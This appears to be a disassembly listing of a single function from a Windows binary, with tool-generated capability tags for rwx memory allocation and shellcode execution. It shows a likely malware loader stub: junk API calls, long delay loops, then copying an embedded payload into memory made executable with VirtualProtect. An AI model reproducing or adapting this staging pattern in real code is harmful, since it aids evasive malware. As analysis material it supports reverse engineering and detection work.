Function at 0x4031c5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push esi
xor esi, esi
cmp dword [0x97f078], 0x5b1
push edi
jne 0x40328a
push esi
lea eax, [ebp - 0x430]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push 0x402d68
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
push 0x402d88
push esi
call fcn.00403b70
push esi
push esi
push esi
push esi
call fcn.00403e27
push esi
call fcn.00403958
push esi
push esi
call fcn.00403902
push esi
push esi
call fcn.00403e44
push esi
push esi
call fcn.00403963
call fcn.004034b3
push esi
call fcn.00403a95
add esp, 0x34
mov dword [esp], esi
call fcn.00402e90
fstp st(0)
push esi
call fcn.004041e4
add dword [0x97f078], 0x1134b
push ebx
push dword [0x97f078]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x97f078]
mov dword [0x97dfcc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4032e4
inc edi
cmp edi, 0x4f6a4
jl 0x4032c2
mov eax, dword [0x97f078]
xor ecx, ecx
cmp eax, esi
jbe 0x40330a
mov edx, dword [0x97f07c]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x97dfcc]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x4032ef
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0xe
jne 0x403336
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov eax, dword [0x97f078]
inc edi
cmp edi, 0x39621
jl 0x40330c
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
dec edi
jne 0x403344
call fcn.004030f7
push esi
call ebx
cmp edi, 0x26
jne 0x403374
call fcn.004031ab
inc edi
cmp edi, 0x6753f
jl 0x403367
push 0x7b
pop edi
pop ebx
cmp dword [0x97f078], 0x86
jne 0x4033c2
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
dec edi
jne 0x403381
call fcn.00402eaf
pop edi
pop esi
leave
ret